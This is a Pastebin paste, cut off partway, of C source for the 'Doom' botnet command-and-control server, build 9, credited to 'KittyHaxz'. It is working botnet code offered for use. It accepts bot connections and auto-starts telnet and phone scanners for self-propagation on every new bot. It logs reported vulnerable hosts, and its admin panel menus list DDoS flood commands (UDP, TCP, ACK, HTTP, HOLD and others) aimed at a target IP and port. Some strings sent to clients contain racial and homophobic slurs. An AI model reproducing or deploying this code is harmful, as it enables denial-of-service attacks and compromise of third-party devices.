Cumfort

Doom Server Side Build V9 (ENJOY!!)

Sep 5th, 2017
384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 49.39 KB | None | 0 0
  1. /*
  2. d8888b. .d88b. .d88b. .88b d88.
  3. 88 `8D .8P Y8. .8P Y8. 88'YbdP`88
  4. 88 88 88 88 88 88 88 88 88
  5. 88 88 88 88 88 88 88 88 88
  6. 88 .8D `8b d8' `8b d8' 88 88 88
  7. Y8888D' `Y88P' `Y88P' YP YP YP BUILD ~ 9
  8.  
  9. Serverside Made by KittyHaxz (Poodle)
  10. People who have made some modifications or gave ideas below
  11. Love
  12. Fyfa
  13. Pices
  14. Zawnix
  15. Ruby
  16. RTO
  17.  
  18.  
  19.  
  20. ADDITIONS TO SERVERSIDE:
  21. ATTACK METHODS ADDED ~
  22. ACK
  23. TCP
  24. HUG
  25. UNKNOWN
  26. JUNK
  27. HOLD
  28. COMBO
  29. UNK
  30. ABOUT COMMAND EDITED ~
  31. ADDED CREDITS TO EVERYONE
  32. MAIN DOOM COLOR CHANGED
  33. ADDED RESPONSE TO ~
  34. !* PHONE ON
  35. !* SCANNER ON
  36. !* PHONE OFF
  37. !* SCANNER OFF
  38. BLOCKED DUP AND dup FROM SERVERSIDE
  39. ADDED LINE TO EVERY CLEAR COMMAND~
  40. $ Type HELP for options $
  41. ADDED AUTO !* PHONE ON AND !* SCANNER ON FOR EVERY NEW BOT
  42. clients[infd].connected = 1;
  43. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  44. send(infd, "!* PHONE ON\n", 11, MSG_NOSIGNAL);
  45. ADDED CRYSTAL CLEAR COMMAND
  46. MAJOR HELP COMMAND EDITS.
  47.  
  48. LOGIN FILE = doom.txt
  49.  
  50. Color Code
  51. Blue = '\x1b[0;34m'
  52. Brown = '\x1b[0;33m'
  53. Cyan = '\x1b[0;36m'
  54. DarkGray = '\x1b[1;30m'
  55. Green = '\x1b[0;32m'
  56. LightBlue = '\x1b[1;34m'
  57. LightCyan = '\x1b[1;36m'
  58. LightGray = '\x1b[0;37m'
  59. LightGreen = '\x1b[1;32m'
  60. LightPurple = '\x1b[1;35m'
  61. LightRed = '\x1b[1;31m'
  62. Normal = '\x1b[0m'
  63. Purple = '\x1b[0;35m'
  64. Red = '\x1b[0;31m'
  65. White = '\x1b[1;37m'
  66. Yellow = '\x1b[1;33m
  67.  
  68. */
  69.  
  70. #include <stdio.h>
  71. #include <stdlib.h>
  72. #include <string.h>
  73. #include <sys/types.h>
  74. #include <sys/socket.h>
  75. #include <netdb.h>
  76. #include <unistd.h>
  77. #include <time.h>
  78. #include <fcntl.h>
  79. #include <sys/epoll.h>
  80. #include <errno.h>
  81. #include <pthread.h>
  82. #include <signal.h>
  83.  
  84. #define MAXFDS 1000000
  85.  
  86. struct account {
  87. char id[20];
  88. char password[20];
  89. };
  90. static struct account accounts[50]; //max users is set on 50
  91. struct clientdata_t {
  92. uint32_t ip;
  93. char build[7];
  94. char connected;
  95. } clients[MAXFDS];
  96. struct telnetdata_t {
  97. int connected;
  98. } managements[MAXFDS];
  99. ////////////////////////////////////
  100. static volatile FILE *telFD;
  101. static volatile FILE *fileFD;
  102. static volatile int epollFD = 0;
  103. static volatile int listenFD = 0;
  104. static volatile int managesConnected = 0;
  105. static volatile int TELFound = 0;
  106. static volatile int scannerreport;
  107. ////////////////////////////////////
  108. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  109. {
  110. int total = 0, got = 1;
  111. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  112. return got;
  113. }
  114. void trim(char *str)
  115. {
  116. int i;
  117. int begin = 0;
  118. int end = strlen(str) - 1;
  119. while (isspace(str[begin])) begin++;
  120. while ((end >= begin) && isspace(str[end])) end--;
  121. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  122. str[i - begin] = '\0';
  123. }
  124. static int make_socket_non_blocking (int sfd)
  125. {
  126. int flags, s;
  127. flags = fcntl (sfd, F_GETFL, 0);
  128. if (flags == -1)
  129. {
  130. perror ("fcntl");
  131. return -1;
  132. }
  133. flags |= O_NONBLOCK;
  134. s = fcntl (sfd, F_SETFL, flags);
  135. if (s == -1)
  136. {
  137. perror ("fcntl");
  138. return -1;
  139. }
  140. return 0;
  141. }
  142. static int create_and_bind (char *port)
  143. {
  144. struct addrinfo hints;
  145. struct addrinfo *result, *rp;
  146. int s, sfd;
  147. memset (&hints, 0, sizeof (struct addrinfo));
  148. hints.ai_family = AF_UNSPEC;
  149. hints.ai_socktype = SOCK_STREAM;
  150. hints.ai_flags = AI_PASSIVE;
  151. s = getaddrinfo (NULL, port, &hints, &result);
  152. if (s != 0)
  153. {
  154. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  155. return -1;
  156. }
  157. for (rp = result; rp != NULL; rp = rp->ai_next)
  158. {
  159. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  160. if (sfd == -1) continue;
  161. int yes = 1;
  162. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  163. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  164. if (s == 0)
  165. {
  166. break;
  167. }
  168. close (sfd);
  169. }
  170. if (rp == NULL)
  171. {
  172. fprintf (stderr, "STOP USING RELIVANT PORTS\n");
  173. return -1;
  174. }
  175. freeaddrinfo (result);
  176. return sfd;
  177. }
  178. void broadcast(char *msg, int us, char *sender)
  179. {
  180. int sendMGM = 1;
  181. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  182. char *wot = malloc(strlen(msg) + 10);
  183. memset(wot, 0, strlen(msg) + 10);
  184. strcpy(wot, msg);
  185. trim(wot);
  186. time_t rawtime;
  187. struct tm * timeinfo;
  188. time(&rawtime);
  189. timeinfo = localtime(&rawtime);
  190. char *timestamp = asctime(timeinfo);
  191. trim(timestamp);
  192. int i;
  193. for(i = 0; i < MAXFDS; i++)
  194. {
  195. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  196. if(sendMGM && managements[i].connected)
  197. {
  198. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  199. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  200. send(i, ": ", 2, MSG_NOSIGNAL);
  201. }
  202. //printf("sent to fd: %d\n", i);
  203. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  204. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m~> \x1b[31m", 13, MSG_NOSIGNAL);
  205. else send(i, "\n", 1, MSG_NOSIGNAL);
  206. }
  207. free(wot);
  208. }
  209. void *epollEventLoop(void *useless)
  210. {
  211. struct epoll_event event;
  212. struct epoll_event *events;
  213. int s;
  214. events = calloc (MAXFDS, sizeof event);
  215. while (1)
  216. {
  217. int n, i;
  218. n = epoll_wait (epollFD, events, MAXFDS, -1);
  219. for (i = 0; i < n; i++)
  220. {
  221. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  222. {
  223. clients[events[i].data.fd].connected = 0;
  224. close(events[i].data.fd);
  225. continue;
  226. }
  227. else if (listenFD == events[i].data.fd)
  228. {
  229. while (1)
  230. {
  231. struct sockaddr in_addr;
  232. socklen_t in_len;
  233. int infd, ipIndex;
  234. in_len = sizeof in_addr;
  235. infd = accept (listenFD, &in_addr, &in_len);
  236. if (infd == -1)
  237. {
  238. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  239. else
  240. {
  241. perror ("accept");
  242. break;
  243. }
  244. }
  245. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  246. int dup = 0;
  247. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  248. {
  249. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  250. //WE ARE MAKING SURE THERE IS NO DUP CLIENTS
  251. if(clients[ipIndex].ip == clients[infd].ip)
  252. {
  253. dup = 1;
  254. break;
  255. }
  256. }
  257.  
  258. if(dup)
  259. { //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
  260. if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  261. if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  262. if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  263. if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  264. if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  265. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  266. close(infd);
  267. continue;
  268. }
  269.  
  270. s = make_socket_non_blocking (infd);
  271. if (s == -1) { close(infd); break; }
  272.  
  273. event.data.fd = infd;
  274. event.events = EPOLLIN | EPOLLET;
  275. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  276. if (s == -1)
  277. {
  278. perror ("epoll_ctl");
  279. close(infd);
  280. break;
  281. }
  282.  
  283. clients[infd].connected = 1;
  284. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  285. send(infd, "!* PHONE ON\n", 11, MSG_NOSIGNAL);
  286.  
  287. }
  288. continue;
  289. }
  290. else
  291. {
  292. int thefd = events[i].data.fd;
  293. struct clientdata_t *client = &(clients[thefd]);
  294. int done = 0;
  295. client->connected = 1;
  296. while (1)
  297. {
  298. ssize_t count;
  299. char buf[2048];
  300. memset(buf, 0, sizeof buf);
  301.  
  302. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  303. {
  304. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  305. trim(buf);
  306. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  307. {
  308. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  309. continue;
  310. }
  311. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  312. {
  313. char *line = strstr(buf, "REPORT ") + 7;
  314. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  315. fflush(telFD);
  316. TELFound++;
  317. continue;
  318. }
  319. if(strstr(buf, "PROBING") == buf)
  320. {
  321. char *line = strstr(buf, "PROBING");
  322. scannerreport = 1;
  323. continue;
  324. }
  325. if(strstr(buf, "REMOVING PROBE") == buf)
  326. {
  327. char *line = strstr(buf, "REMOVING PROBE");
  328. scannerreport = 0;
  329. continue;
  330. }
  331. if(strcmp(buf, "PONG") == 0)
  332. {
  333. continue;
  334. }
  335.  
  336. printf("buf: \"%s\"\n", buf);
  337. }
  338.  
  339. if (count == -1)
  340. {
  341. if (errno != EAGAIN)
  342. {
  343. done = 1;
  344. }
  345. break;
  346. }
  347. else if (count == 0)
  348. {
  349. done = 1;
  350. break;
  351. }
  352. }
  353.  
  354. if (done)
  355. {
  356. client->connected = 0;
  357. close(thefd);
  358. }
  359. }
  360. }
  361. }
  362. }
  363. unsigned int clientsConnected()
  364. {
  365. int i = 0, total = 0;
  366. for(i = 0; i < MAXFDS; i++)
  367. {
  368. if(!clients[i].connected) continue;
  369. total++;
  370. }
  371.  
  372. return total;
  373. }
  374. void *titleWriter(void *sock)
  375. {
  376. int thefd = (int)sock;
  377. char string[2048];
  378. while(1)
  379. {
  380. memset(string, 0, 2048);
  381. sprintf(string, "%c]0; Bots: %d $ Admins: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  382. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  383.  
  384. sleep(3);
  385. }
  386. }
  387. int Search_in_File(char *str)
  388. {
  389. FILE *fp;
  390. int line_num = 0;
  391. int find_result = 0, find_line=0;
  392. char temp[512];
  393.  
  394. if((fp = fopen("doom.txt", "r")) == NULL){
  395. return(-1);
  396. }
  397. while(fgets(temp, 512, fp) != NULL){
  398. if((strstr(temp, str)) != NULL){
  399. find_result++;
  400. find_line = line_num;
  401. }
  402. line_num++;
  403. }
  404. if(fp)
  405. fclose(fp);
  406.  
  407. if(find_result == 0)return 0;
  408.  
  409. return find_line;
  410. }
  411.  
  412. void *telnetWorker(void *sock)
  413. {
  414. char usernamez[80];
  415. int thefd = (int)sock;
  416. int find_line;
  417. managesConnected++;
  418. pthread_t title;
  419. char counter[2048];
  420. memset(counter, 0, 2048);
  421. char buf[2048];
  422. char* nickstring;
  423. char* username;
  424. char* password;
  425. memset(buf, 0, sizeof buf);
  426. char botnet[2048];
  427. memset(botnet, 0, 2048);
  428.  
  429. FILE *fp;
  430. int i=0;
  431. int c;
  432. fp=fopen("doom.txt", "r");
  433. while(!feof(fp))
  434. {
  435. c=fgetc(fp);
  436. ++i;
  437. }
  438. int j=0;
  439. rewind(fp);
  440. while(j!=i-1)
  441. {
  442. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  443. ++j;
  444. }
  445.  
  446. if(send(thefd, "\x1b[31mNickname: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  447. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  448. trim(buf);
  449. sprintf(usernamez, buf);
  450. nickstring = ("%s", buf);
  451. find_line = Search_in_File(nickstring);
  452. if(strcmp(nickstring, accounts[find_line].id) == 0){
  453. if(send(thefd, "\x1b[31m* LOADING HAX *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  454. if(send(thefd, "\x1b[0m \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  455. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  456. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  457. trim(buf);
  458. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  459. memset(buf, 0, 2048);
  460. goto fak;
  461. }
  462. failed:
  463. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  464. if(send(thefd, "\x1b[31m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  465. if(send(thefd, "\x1b[31m* This is not a botnet lol *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  466. if(send(thefd, "\x1b[31m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  467. sleep(5);
  468. goto end;
  469. fak:
  470.  
  471. Title:
  472. pthread_create(&title, NULL, &titleWriter, sock);
  473. char ascii_banner_line1 [5000];
  474. char ascii_banner_line2 [5000];
  475. char ascii_banner_line3 [5000];
  476. char ascii_banner_line4 [5000];
  477. char ascii_banner_line5 [5000];
  478. char ascii_banner_line6 [5000];
  479. char ascii_banner_line7 [5000];
  480. char line1 [80];
  481. char line2 [80];
  482.  
  483. sprintf(ascii_banner_line1, "\x1b[0;31m ▓█████▄ ▒█████ ▒█████ ███▄ ▄███▓\r\n");
  484. sprintf(ascii_banner_line2, "\x1b[0;36m ▒██▀ ██▌▒██▒ ██▒▒██▒ ██▒▓██▒▀█▀ ██▒\r\n");
  485. sprintf(ascii_banner_line3, "\x1b[0;36m ░██ █▌▒██░ ██▒▒██░ ██▒▓██ ▓██░\r\n");
  486. sprintf(ascii_banner_line4, "\x1b[0;36m ░██▄ █▌▒██ ██░▒██ ██░▒██ ▒██ \r\n");
  487. sprintf(ascii_banner_line5, "\x1b[0;36m ░█████▀ ░ ████▓▒░░ ████▓▒░▒██▒ ░██▒ \r\n");
  488. sprintf(ascii_banner_line6, "\x1b[0;31m ▒▒▓ ▒ ░ ▒░▒░▒░ ░ ▒░▒░▒░ ░ ▒░ ░ ░\r\n");
  489. sprintf(ascii_banner_line7, "\x1b[0;31m ░ ▒ ▒ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░ ░\r\n");
  490. sprintf(line1, "\x1b[0;36m $ \x1b[37mWelcome %s To The Doom Botnet\x1b[0;36m $\r\n", accounts[find_line].id, buf);
  491. sprintf(line2, "\x1b[0;31m $ \x1b[0;37mType Help for your options \x1b[0;31m$\r\n");
  492.  
  493. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  502. while(1) {
  503. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  504. break;
  505. }
  506. pthread_create(&title, NULL, &titleWriter, sock);
  507. managements[thefd].connected = 1;
  508.  
  509. while(fdgets(buf, sizeof buf, thefd) > 0)
  510. {
  511.  
  512. if(strstr(buf, "!* PHONE ON"))
  513. {
  514. sprintf(botnet, "PHONE SCANNER STARTED\r\n", TELFound, scannerreport);
  515. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  516. }
  517.  
  518. if(strstr(buf, "!* PHONE OFF"))
  519. {
  520. sprintf(botnet, "PHONE SCANNER STOPPED\r\n", TELFound, scannerreport);
  521. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  522. }
  523.  
  524. if(strstr(buf, "BOTS"))
  525. {
  526. sprintf(botnet, "[+] Boats Connected: %d [-] Boatnet Captians Online: %d [+]\r\n", clientsConnected(), managesConnected);
  527. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  528. }
  529.  
  530. if(strstr(buf, "ABOUT"))
  531. {
  532. sprintf(botnet, "DOOM SERVERSIDE. Created by KittyHaxz (Poodle) Along side, zawnix, love, pices, fyfa, ruby, RTO\r\n");
  533. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  534. }
  535.  
  536. if(strstr(buf, "bots"))
  537. {
  538. sprintf(botnet, "[+] Boats Connected: %d [-] Boatnet Captians Online: %d [+]\r\n", clientsConnected(), managesConnected);
  539. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  540. }
  541. if(strstr(buf, "!* SCANNER OFF"))
  542. {
  543. sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  544. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  545. }
  546. if(strstr(buf, "!* TCP"))
  547. {
  548. sprintf(botnet, "Succesfully Sent A TCP FLOOD\r\n");
  549. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  550. }
  551. if(strstr(buf, "!* UDP"))
  552. {
  553. sprintf(botnet, "Succesfully Sent A UDP FLOOD\r\n");
  554. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  555. }
  556. if(strstr(buf, "!* STD"))
  557. {
  558. sprintf(botnet, "STD Flood Sent to Skid\r\n");
  559. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  560. }
  561. if(strstr(buf, "!* CNC"))
  562. {
  563. sprintf(botnet, "CNC Flooding dat boatnet\r\n");
  564. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  565. }
  566. if(strstr(buf, "!* HTTP"))
  567. {
  568. sprintf(botnet, "Succesfully Sent A HTTP FLOOD\r\n");
  569. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  570. }
  571. if(strstr(buf, "!* SCANNER ON"))
  572. {
  573. sprintf(botnet, "TELNET SCANNER STARTED\r\n");
  574. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  575. }
  576. if(strstr(buf, "!* SCANNER OFF"))
  577. {
  578. sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  579. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  580. }
  581. if(strstr(buf, "HELP")) {
  582. pthread_create(&title, NULL, &titleWriter, sock);
  583. char helpline1 [80];
  584. char helpline2 [80];
  585. char helpline3 [80];
  586. char helpline4 [80];
  587.  
  588. sprintf(helpline1, "\x1b[0;31mType A Option From Below:\r\n");
  589. sprintf(helpline2, "\x1b[1;37m[\x1b[35mDDOS\x1b[1;37m] ~ DDOS Commands\r\n");
  590. sprintf(helpline3, "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Extra Lit Commands\r\n");
  591. sprintf(helpline4, "\x1b[1;37m[\x1b[0;33mSELFREP\x1b[1;37m] ~ DONT FUCKING TOUCH THIS SHIT\r\n");;
  592.  
  593. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  594. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  595. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  596. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  597. pthread_create(&title, NULL, &titleWriter, sock);
  598. while(1) {
  599. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  600. break;
  601. }
  602. continue;
  603. }
  604. if(strstr(buf, "DDOS")) {
  605. pthread_create(&title, NULL, &titleWriter, sock);
  606. char ddosline1 [80];
  607. char ddosline2 [80];
  608. char ddosline3 [80];
  609. char ddosline4 [80];
  610. char ddosline5 [80];
  611. char ddosline6 [80];
  612. char ddosline7 [80];
  613. char ddosline8 [80];
  614. char ddosline9 [80];
  615. char ddosline10 [80];
  616. char ddosline11 [80];
  617. char ddosline12 [80];
  618.  
  619. sprintf(ddosline1, "\x1b[31m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
  620. sprintf(ddosline2, "\x1b[31m\x1b[35m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  621. sprintf(ddosline3, "\x1b[35m\x1b[35m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
  622. sprintf(ddosline4, "\x1b[35m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 ack 1337 400 | ACK FLOOD\r\n");
  623. sprintf(ddosline5, "\x1b[35m\x1b[35m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
  624. sprintf(ddosline6, "\x1b[35m\x1b[35m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
  625. sprintf(ddosline7, "\x1b[35m\x1b[35m !* COMBO [IP] [PORT] [TIME] | COMBO FLOOD HOLD AND JUNK\r\n");
  626. sprintf(ddosline8, "\x1b[35m\x1b[35m !* HUG [IP] [PORT] [TIME] | HUG FLOOD\r\n");
  627. sprintf(ddosline9, "\x1b[35m\x1b[35m !* UKN [IP] [PORT] [TIME] | UNK FLOOD\r\n");
  628. sprintf(ddosline10, "\x1b[35m\x1b[35m !* CNC [IP] [ADMIN-PORT] [TIME] | CNC FLOOD\r\n");
  629. sprintf(ddosline11, "\x1b[35m\x1b[35m !* UNKNOWN [IP] [TIME] [PORT] | UNK FLOOD FLOOD\r\n");
  630. sprintf(ddosline12, "\x1b[35m\x1b[35m !* KILLATTK | KILLS ALL ATTACKS\r\n");
  631.  
  632. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  633. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  634. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  635. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  636. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  637. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  638. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  639. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  640. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  641. if(send(thefd, ddosline10, strlen(ddosline10), MSG_NOSIGNAL) == -1) goto end;
  642. if(send(thefd, ddosline11, strlen(ddosline11), MSG_NOSIGNAL) == -1) goto end;
  643. if(send(thefd, ddosline12, strlen(ddosline12), MSG_NOSIGNAL) == -1) goto end;
  644. pthread_create(&title, NULL, &titleWriter, sock);
  645. while(1) {
  646. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  647. break;
  648. }
  649. continue;
  650. }
  651. if(strstr(buf, "SELFREP")) {
  652. pthread_create(&title, NULL, &titleWriter, sock);
  653. char repline1 [80];
  654. char repline2 [80];
  655. char repline3 [80];
  656. char repline4 [80];
  657. char repline5 [80];
  658. char repline6 [80];
  659.  
  660. sprintf(repline1, "\x1b[31m !* PHONE ON | TURNS ON PHONE SELF REPLIFICATION\r\n");
  661. sprintf(repline2, "\x1b[35m !* SCANNER ON | TURNS ON TELNET SELF REPLIFICATION\r\n");
  662. sprintf(repline3, "\x1b[31m !* PHONE OFF | TURNS OFF PHONE SELF REPLIFICATION\r\n");
  663. sprintf(repline4, "\x1b[35m !* SCANNER OFF | TURNS OFF TELNET SELF REPLIFICATION\r\n");
  664. sprintf(repline5, "\x1b[31m !* wget.py | SCANS sithbots.txt PYTHON LIST\r\n");
  665. sprintf(repline6, "\x1b[35m !* PYTHON OFF | TURNS OFF PYTHON SCANNER\r\n");
  666.  
  667. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  668. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  669. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  670. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  671. if(send(thefd, repline5, strlen(repline5), MSG_NOSIGNAL) == -1) goto end;
  672. if(send(thefd, repline6, strlen(repline6), MSG_NOSIGNAL) == -1) goto end;
  673. pthread_create(&title, NULL, &titleWriter, sock);
  674. while(1) {
  675. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  676. break;
  677. }
  678. continue;
  679. }
  680. if(strstr(buf, "EXTRA")) {
  681. pthread_create(&title, NULL, &titleWriter, sock);
  682. char extraline1 [80];
  683. char extraline2 [80];
  684. char extraline3 [80];
  685. char extraline4 [80];
  686. char extraline5 [80];
  687. char extraline6 [80];
  688. char extraline7 [80];
  689.  
  690. sprintf(extraline1, "\x1b[35m PORTS | PORTS TO HIT WITH DUH\r\n");
  691. sprintf(extraline2, "\x1b[31m BOTS | BOT COUNT DUH\r\n");
  692. sprintf(extraline3, "\x1b[35m CLEAR | CLEARS SCREEN DUH\r\n");
  693. sprintf(extraline4, "\x1b[35m CLEAR_LIT | LIT DOOM\r\n");
  694. sprintf(extraline5, "\x1b[35m CLEAR_RASTA | RASTA DOOM\r\n");
  695. sprintf(extraline6, "\x1b[35m CLEAR_SMALL | SMALL DOOM\r\n");
  696. sprintf(extraline7, "\x1b[35m CRYSTAL | MADE FOR KITTYS GIRL aka CRYSTAL\r\n");
  697.  
  698. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  699. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  700. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  701. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  702. if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  703. if(send(thefd, extraline6, strlen(extraline6), MSG_NOSIGNAL) == -1) goto end;
  704. if(send(thefd, extraline7, strlen(extraline7), MSG_NOSIGNAL) == -1) goto end;
  705. pthread_create(&title, NULL, &titleWriter, sock);
  706. while(1) {
  707. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  708. break;
  709. }
  710. continue;
  711. }
  712. if(strstr(buf, "CLEAR")){
  713.  
  714. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  715. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  716. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  717. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  718. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  719. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  720. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
